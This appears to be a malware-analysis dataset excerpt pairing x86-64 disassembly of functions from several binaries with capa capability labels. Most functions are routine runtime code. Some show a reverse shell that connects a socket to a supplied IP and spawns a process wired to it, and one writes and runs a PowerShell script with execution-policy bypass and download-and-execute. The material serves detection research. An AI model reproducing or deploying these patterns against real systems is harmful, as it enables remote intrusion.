joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000df70
Capabilities:
Query or enumerate registry value

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x48
mov dword [rsp + 0x30], 0x103
mov rax, qword [rsp + 0x50]
add rax, 0x314
lea rcx, [rsp + 0x30]
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x34]
xor r8d, r8d
lea rdx, str.UpperFilters
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x14000dfd9
mov rax, qword [rsp + 0x50]
add rax, 0x314
mov r8d, 0x104
xor edx, edx
mov rcx, rax
call fcn.14000f9e0
mov dword [rsp + 0x30], 0x103
mov rax, qword [rsp + 0x50]
add rax, 0x418
lea rcx, [rsp + 0x30]
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x34]
xor r8d, r8d
lea rdx, str.LowerFilters
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x14000e034
mov rax, qword [rsp + 0x50]
add rax, 0x418
mov r8d, 0x104
xor edx, edx
mov rcx, rax
call fcn.14000f9e0
mov eax, 1
add rsp, 0x48
ret

Function at 0x14001095b
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x1400243d8]
jne 0x14000e06a
rol rcx, 0x10
test cx, 0xffff
jne 0x14000e066
repz ret
ror rcx, 0x10
jmp 0x1400108b4
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x140028f30]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x140029028]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x140010939
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x140028f30]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x14001095b
mov rax, qword [rsp + 0x88]
mov qword [0x140029028], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x140028fc8], rax
mov rax, qword [0x140029028]
mov qword [0x140028ea0], rax
mov rax, qword [rsp + 0x90]
mov qword [0x140028fb0], rax
mov dword [0x140028e90], 0xc0000409
mov dword [0x140028e94], 1
mov rax, qword [0x1400243d8]
mov qword [rsp + 0x68], rax
mov rax, qword [0x1400243e0]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x140028f28], eax
mov ecx, 1
call fcn.140016708
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x14001f948]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x140028f28], 0
jne 0x1400109e2
mov ecx, 1
call fcn.140016708
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret

Function at 0x1400119f8
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
xor edx, edx
jmp fcn.140011868
Function at 0x140019448
Capabilities:
Link many functions at runtime

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x50
mov rax, qword [0x1400243d8]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov ebp, r8d
mov r14, rdx
mov r13, rcx
call fcn.140010ea0
xor ebx, ebx
cmp qword [0x140029e70], rbx
mov rdi, rax
jne 0x14001955b
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rsi, rax
test rax, rax
je 0x140019632
lea rdx, str.MessageBoxW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140019632
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x140029e70], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x140029e78], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetUserObjectInformationW
mov rcx, rsi
mov qword [0x140029e80], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov r11, rax
mov qword [0x140029e90], rax
test rax, rax
je 0x140019552
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov qword [0x140029e88], rax
jmp 0x140019562
mov rax, qword [0x140029e88]
jmp 0x140019569
mov rax, qword [0x140029e88]
mov r11, qword [0x140029e90]
cmp rax, rdi
je 0x1400195d0
cmp r11, rdi
je 0x1400195d0
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rcx, qword [0x140029e90]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov r12, rax
test rsi, rsi
je 0x1400195d0
test rax, rax
je 0x1400195d0
call rsi
test rax, rax
je 0x1400195ca
lea rcx, [rsp + 0x30]
mov r9d, 0xc
lea r8, [rsp + 0x38]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x1400195ca
test byte [rsp + 0x40], 1
jne 0x1400195d0
bts ebp, 0x15
jmp 0x140019610
mov rcx, qword [0x140029e78]
cmp rcx, rdi
je 0x140019610
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x140019610
call rax
mov rbx, rax
test rax, rax
je 0x140019610
mov rcx, qword [0x140029e80]
cmp rcx, rdi
je 0x140019610
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x140019610
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x140029e70]
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x140019632
mov r9d, ebp
mov r8, r14
mov rdx, r13
mov rcx, rbx
call rax
jmp 0x140019634
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.14000e050
add rsp, 0x50
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x14000aed0]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x14000aee0]
mov dword [rax], 1
mov rax, qword [0x14000aef0]
mov dword [rax], 1
mov rax, qword [0x14000aec0]
mov dword [rax], 1
mov rax, qword [0x14000ad80]
cmp word [rax], 0x5a4d
jne 0x140001067
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010d0
mov rax, qword [0x14000aeb0]
mov dword [0x14000e00c], ecx
mov eax, dword [rax]
test eax, eax
jne 0x1400010c0
mov ecx, 1
call sym.__set_app_type
call dbg.__p__fmode
mov rdx, qword [0x14000ae70]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg.__p__commode
mov rdx, qword [0x14000ae50]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x14000ad30]
cmp dword [rax], 1
je 0x140001108
xor eax, eax
add rsp, 0x28
ret
mov ecx, 2
call sym.__set_app_type
jmp 0x140001084
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001120
cmp dx, 0x20b
jne 0x140001067
cmp dword [rax + 0x84], 0xe
jbe 0x140001067
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x140001067
lea rcx, [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x140001067
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x140001067

Function at 0x140001873
Capabilities:
Get system information on windows

Disassembly:
push rbp
sub rsp, 0x110
lea rbp, [rsp + 0x80]
mov qword [rbp + 0xa0], rcx
mov qword [rbp + 0xa8], rdx
lea rax, [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetVersionExA]
call rax
lea rax, [rbp - 0x40]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetSystemInfo]
call rax
mov r8d, dword [rbp - 0x20]
movzx eax, word [rbp - 0x40]
movzx ecx, ax
mov edx, dword [rbp - 8]
mov r9d, dword [rbp - 0xc]
mov rax, qword [rbp + 0xa8]
mov dword [rsp + 0x30], r8d
mov dword [rsp + 0x28], ecx
mov dword [rsp + 0x20], edx
lea r8, str.OS_Version:__d._d_nProcessor_Architecture:__d_nNumber_of_Processors:__d_n
mov rdx, rax
mov rcx, qword [rbp + 0xa0]
call sym.snprintf
nop
add rsp, 0x110
pop rbp
ret
Function at 0x1400019cc
Capabilities:
Delete file
Execute command

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
lea rax, str._ErrorActionPreference__Stop__function_Install_Chocolatey______if___Not__Get_Command_choco__ErrorAction_SilentlyContinue____________Write_Host__Chocolatey...__________Set_ExecutionPolicy_Bypass__Scope_Process__Force___________System.Net.ServicePointManager_::SecurityProtocol___System.Net.SecurityProtocolType_::Tls12__________iex___New_Object_System.Net.WebClient_.DownloadString_https:__chocolatey.org_install.ps1_________else__________Write_Host_Chocolatey__.________function_Install_Git______if___Not__Get_Command_git__ErrorAction_SilentlyContinue____________Write_Host__Git...__________choco_install_git__y_______else__________Write_Host_Git__.________function_Install_vcpkg______if___Not__Test_Path_vcpkg____________Write_Host__vcpkg...__________git_clone_https:__github.com_microsoft_vcpkg.git__________cd_vcpkg__________._bootstrap_vcpkg.bat__________cd_.._______else__________Write_Host_vcpkg__.________function_Install_libcurl______cd_vcpkg______Write_Host__libcurl...______._vcpkg_install_curl______cd_..___Install_Chocolatey__Install_Git__Install_vcpkg__Install_libcurl_
mov qword [rbp - 8], rax
lea rdx, [0x14000a634]
lea rcx, str.install_dependencies.ps1
call sym.fopen
mov qword [rbp - 0x10], rax
cmp qword [rbp - 0x10], 0
je 0x140001a19
mov rdx, qword [rbp - 0x10]
mov rax, qword [rbp - 8]
mov rcx, rax
call sym.fputs
mov rax, qword [rbp - 0x10]
mov rcx, rax
call sym.fclose
lea rcx, str.powershell__ExecutionPolicy_Bypass__File_install_dependencies.ps1
call sym.system
lea rcx, str.install_dependencies.ps1
call sym.remove
nop
add rsp, 0x30
pop rbp
ret

Function at 0x140001dd0
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sym.vfprintf
call sym.abort
nop
nop word [rax + rax]
Function at 0x140001e40
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rdi, dword [0x14000e934]
mov r12, rcx
mov rsi, rdx
mov rbx, r8
test edi, edi
jle 0x140001ff0
mov rax, qword [0x14000e938]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp r12, rdx
jb 0x140001e8c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x140001f17
add ecx, 1
add rax, 0x28
cmp ecx, edi
jne 0x140001e70
mov rcx, r12
call dbg.__mingw_GetSectionForAddress
mov rbp, rax
test rax, rax
je 0x14000204d
mov rax, qword [0x14000e938]
lea rdi, [rdi + rdi*4]
shl rdi, 3
add rax, rdi
mov qword [rax + 0x20], rbp
mov dword [rax], 0
call dbg._GetPEImageBase
mov ecx, dword [rbp + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x14000e938]
mov qword [rax + rdi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140002032
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x140001f10
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140001fa0
add dword [0x14000e934], 1
cmp ebx, 8
jae 0x140001f48
test bl, 4
jne 0x140002000
test ebx, ebx
je 0x140001f39
movzx eax, byte [rsi]
mov byte [r12], al
test bl, 2
jne 0x140002020
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rax, qword [rsi]
lea rcx, [r12 + 8]
and rcx, 0xfffffffffffffff8
mov qword [r12], rax
mov eax, ebx
mov rdx, qword [rsi + rax - 8]
mov qword [r12 + rax - 8], rdx
sub r12, rcx
add ebx, r12d
sub rsi, r12
and ebx, 0xfffffff8
cmp ebx, 8
jb 0x140001f39
and ebx, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov r8, qword [rsi + rdx]
mov qword [rcx + rdx], r8
cmp eax, ebx
jb 0x140001f7a
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 4
mov eax, 0x40
cmovne r8d, eax
add rdi, qword [0x14000e938]
mov qword [rdi + 8], rcx
mov r9, rdi
mov qword [rdi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140001f10
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
xor edi, edi
jmp 0x140001e97
mov eax, dword [rsi]
mov ebx, ebx
mov dword [r12], eax
mov eax, dword [rsi + rbx - 4]
mov dword [r12 + rbx - 4], eax
jmp 0x140001f39
mov ebx, ebx
movzx eax, word [rsi + rbx - 2]
mov word [r12 + rbx - 2], ax
jmp 0x140001f39
mov rax, qword [0x14000e938]
mov edx, dword [rbp + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rdi + 0x18]
call dbg.__report_error
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
nop dword [rax]
Function at 0x140002560
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x14000e9a0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14000e980]
test rbx, rbx
je 0x1400025b4
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x1400025ab
test r12, r12
je 0x1400025ab
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140002590
lea rcx, [0x14000e9a0]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x1400027e0
Capabilities:
Parse pe header

Disassembly:
cmp word [rcx], 0x5a4d
jne 0x1400027f0
jmp sym._ValidateImageBase.part.0
xor eax, eax
ret

Function at 0x140002800
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x140002845
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp r8, rdx
ja 0x14000283c
add ecx, dword [rax + 8]
cmp rcx, rdx
ja 0x140002847
add rax, 0x28
cmp rax, r9
jne 0x140002828
xor eax, eax
ret

Function at 0x1400028f0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r10, qword [0x14000ad80]
xor r8d, r8d
cmp word [r10], 0x5a4d
mov r9, rcx
jne 0x140002969
mov rcx, r10
call sym._ValidateImageBase.part.0
test eax, eax
je 0x140002969
movsxd rax, dword [r10 + 0x3c]
mov rcx, r9
sub rcx, r10
add r10, rax
movzx eax, word [r10 + 0x14]
lea r8, [r10 + rax + 0x18]
movzx eax, word [r10 + 6]
test eax, eax
je 0x140002966
sub eax, 1
lea rax, [rax + rax*4]
lea r9, [r8 + rax*8 + 0x28]
nop dword [rax]
mov edx, dword [r8 + 0xc]
mov rax, rdx
cmp rcx, rdx
jb 0x14000295d
add eax, dword [r8 + 8]
cmp rcx, rax
jb 0x140002969
add r8, 0x28
cmp r8, r9
jne 0x140002948
xor r8d, r8d
mov rax, r8
add rsp, 0x28
ret

Function at 0x140002a50
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r9, qword [0x14000ad80]
xor eax, eax
cmp word [r9], 0x5a4d
mov r8, rcx
jne 0x140002abf
mov rcx, r9
call sym._ValidateImageBase.part.0
test eax, eax
je 0x140002abf
movsxd rax, dword [r9 + 0x3c]
mov rcx, r8
sub rcx, r9
add r9, rax
movzx eax, word [r9 + 0x14]
movzx edx, word [r9 + 6]
lea rax, [r9 + rax + 0x18]
test edx, edx
je 0x140002abd
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140002ab4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002ac8
add rax, 0x28
cmp rax, r9
jne 0x140002aa0
xor eax, eax
add rsp, 0x28
ret
mov eax, dword [rax + 0x24]
not eax
shr eax, 0x1f
add rsp, 0x28
ret
Function at 0x140002ae0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r11, qword [0x14000ad80]
xor r9d, r9d
cmp word [r11], 0x5a4d
mov r8d, ecx
jne 0x140002b58
mov rcx, r11
call sym._ValidateImageBase.part.0
test eax, eax
je 0x140002b58
movsxd rcx, dword [r11 + 0x3c]
add rcx, r11
mov eax, dword [rcx + 0x90]
test eax, eax
je 0x140002b58
movzx edx, word [rcx + 0x14]
lea rdx, [rcx + rdx + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x140002b58
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r10, [rdx + rcx*8 + 0x28]
nop dword [rax + rax]
mov r9d, dword [rdx + 0xc]
mov rcx, r9
cmp rax, r9
jb 0x140002b4c
add ecx, dword [rdx + 8]
cmp rax, rcx
jb 0x140002b60
add rdx, 0x28
cmp rdx, r10
jne 0x140002b38
xor r9d, r9d
mov rax, r9
add rsp, 0x28
ret
add rax, r11
jmp 0x140002b70
sub r8d, 1
add rax, 0x14
mov ecx, dword [rax + 4]
test ecx, ecx
jne 0x140002b7e
mov edx, dword [rax + 0xc]
test edx, edx
je 0x140002b55
test r8d, r8d
jg 0x140002b68
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
add rsp, 0x28
ret
Function at 0x1400010c8
Capabilities:
Act as tcp client
Connect tcp socket
Connect udp socket
Initialize winsock library

Disassembly:
jmp 0x1400014d4
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x310
lea rdi, [rsp + 0x50]
mov ecx, 0xb0
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x320]
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x300], rax
lea rdx, [rsp + 0x60]
mov cx, 0x202
call qword [sym.imp.WS2_32.dll_WSAStartup]
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 6
mov edx, 1
mov ecx, 2
call qword [sym.imp.WS2_32.dll_WSASocketW]
mov qword [rsp + 0x208], rax
mov eax, 2
mov word [rsp + 0x218], ax
mov rcx, qword [rsp + 0x320]
call qword [sym.imp.WS2_32.dll_inet_addr]
mov dword [rsp + 0x21c], eax
movzx ecx, word [rsp + 0x328]
call qword [sym.imp.WS2_32.dll_htons]
mov word [rsp + 0x21a], ax
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 0x10
lea rdx, [rsp + 0x218]
mov rcx, qword [rsp + 0x208]
call qword [sym.imp.WS2_32.dll_WSAConnect]
cmp eax, 0xffffffff
jne 0x1400015ea
mov rcx, qword [rsp + 0x208]
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 1
jmp 0x1400016c1
mov r8d, 0x68
xor edx, edx
lea rcx, [rsp + 0x250]
call sub.VCRUNTIME140D.dll_memset
mov dword [rsp + 0x250], 0x68
mov dword [rsp + 0x28c], 0x100
mov rax, qword [rsp + 0x208]
mov qword [rsp + 0x2a0], rax
mov rax, qword [rsp + 0x208]
mov qword [rsp + 0x2a8], rax
mov rax, qword [rsp + 0x208]
mov qword [rsp + 0x2b0], rax
lea rax, [rsp + 0x2d8]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x250]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rsp + 0x330]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov dword [rsp + 0x2f4], eax
cmp dword [rsp + 0x2f4], 0
jne 0x1400016c1
mov rcx, qword [rsp + 0x208]
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 1
mov rdi, rax
mov rcx, rsp
lea rdx, [0x140009ef0]
call fcn.1400011fe
mov rax, rdi
mov rcx, qword [rsp + 0x300]
xor rcx, rsp
call fcn.140001122
add rsp, 0x310
pop rdi
ret

Function at 0x140001145
Capabilities:
Terminate process

Disassembly:
jmp 0x140002cd0
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret
Function at 0x140001190
Capabilities:
Parse pe header

Disassembly:
jmp 0x140004020
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140004040
xor al, al
jmp 0x1400040c1
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140004053
xor al, al
jmp 0x1400040c1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14000407d
xor al, al
jmp 0x1400040c1
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140004091
xor al, al
jmp 0x1400040c1
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x1400040a3
xor al, al
jmp 0x1400040c1
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x1400040bf
xor al, al
jmp 0x1400040c1
mov al, 1
add rsp, 0x38
ret
Function at 0x1400014d4
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create process on windows
Create tcp socket
Create udp socket
Initialize winsock library

Disassembly:
jmp 0x1400014d4
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x310
lea rdi, [rsp + 0x50]
mov ecx, 0xb0
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x320]
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x300], rax
lea rdx, [rsp + 0x60]
mov cx, 0x202
call qword [sym.imp.WS2_32.dll_WSAStartup]
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 6
mov edx, 1
mov ecx, 2
call qword [sym.imp.WS2_32.dll_WSASocketW]
mov qword [rsp + 0x208], rax
mov eax, 2
mov word [rsp + 0x218], ax
mov rcx, qword [rsp + 0x320]
call qword [sym.imp.WS2_32.dll_inet_addr]
mov dword [rsp + 0x21c], eax
movzx ecx, word [rsp + 0x328]
call qword [sym.imp.WS2_32.dll_htons]
mov word [rsp + 0x21a], ax
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 0x10
lea rdx, [rsp + 0x218]
mov rcx, qword [rsp + 0x208]
call qword [sym.imp.WS2_32.dll_WSAConnect]
cmp eax, 0xffffffff
jne 0x1400015ea
mov rcx, qword [rsp + 0x208]
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 1
jmp 0x1400016c1
mov r8d, 0x68
xor edx, edx
lea rcx, [rsp + 0x250]
call sub.VCRUNTIME140D.dll_memset
mov dword [rsp + 0x250], 0x68
mov dword [rsp + 0x28c], 0x100
mov rax, qword [rsp + 0x208]
mov qword [rsp + 0x2a0], rax
mov rax, qword [rsp + 0x208]
mov qword [rsp + 0x2a8], rax
mov rax, qword [rsp + 0x208]
mov qword [rsp + 0x2b0], rax
lea rax, [rsp + 0x2d8]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x250]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rsp + 0x330]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov dword [rsp + 0x2f4], eax
cmp dword [rsp + 0x2f4], 0
jne 0x1400016c1
mov rcx, qword [rsp + 0x208]
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 1
mov rdi, rax
mov rcx, rsp
lea rdx, [0x140009ef0]
call fcn.1400011fe
mov rax, rdi
mov rcx, qword [rsp + 0x300]
xor rcx, rsp
call fcn.140001122
add rsp, 0x310
pop rdi
ret